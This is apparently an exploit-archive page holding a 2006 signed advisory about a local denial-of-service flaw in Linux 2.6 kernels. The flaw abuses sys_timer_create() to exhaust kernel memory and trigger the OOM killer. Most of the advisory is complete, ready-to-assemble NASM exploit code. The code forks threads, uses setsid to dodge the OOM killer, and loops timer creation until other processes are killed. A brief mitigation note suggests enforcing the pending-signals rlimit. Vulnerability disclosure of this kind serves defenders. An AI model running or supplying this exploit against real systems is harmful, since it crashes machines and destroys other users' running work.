what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

noHeaven.txt

noHeaven.txt
Posted Apr 19, 2006
Authored by Maciej Piotr Falkiewicz

Local DOS exploit for Linux kernel 2.6 which uses sys_timer_create() to exhaust system memory.

tags | exploit, kernel, local
systems | linux
SHA-256 | c36cacecf9ade5d6e253387c925e3e2afd7126df3467e072d9b71af851dd3347

noHeaven.txt

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello.
I'd like to present one of Linux Kernel vulnerabilities. As far as I
know, this one affects 2.6.x kernels.

Problem
- --

The problem lies in sys_timer_create() in Linux/kernel/posix-timers.c.
Each time user creates a posix timer, some kernel memory is allocated.
Since count of timers that can be created by user is limited only by
sigqueue size (ex. 4294967295 in Debian) every local user can exhaust
all avaible memory which will trigger oom_killer (mm/oom_kill.c). If a
process itself uses a small amount of memory, it's oom_score will be
low, so all other processes would be killed.

Exploit
- --

- --------------8<---------------------

;nasm -f elf noHeaven.asm
;ld -s -o noHeaven noHeaven.o

section .text
global _start

count equ 8 ; threads count - do it quicker

_start:
mov ebx, count
call create_threads
jmp done
_pause:
mov eax,29
int 0x80
ret
create_threads:
mov eax,2
int 0x80
test eax,eax
jz consume
dec ebx
test ebx,ebx
jnz create_threads
ret
consume:
setsid: ; so we won't get counted as one thread in oom_killer()
xor ebx,ebx ; each task will have about 20 oom_score which
mov eax,66 ; is less than 'init' and others
int 0x80
push eax
loopek:
mov eax,259
mov ebx,0
mov ecx,0
mov edx,esp
int 0x80
jmp loopek
done:
xor ebx,ebx
mov eax,1
int 0x80


- --------------8<--------------------


Fix
- --
In my opinion the easiest way to defend is to enforce pending signals
queue size rlimit (ulimit -i).

Vendor notification status
- --
Vendor refused to fix this kind of bugs.


- --
Regards,
fingerout
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)

iD8DBQFEMwAY3AGvlpYpo4cRApESAJ9PPyZaHz5HExrh15pQdH51I3di+wCfee87
hqrfQZpKiyqugdZoabAHy9g=
=9y9Y
-----END PGP SIGNATURE-----
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close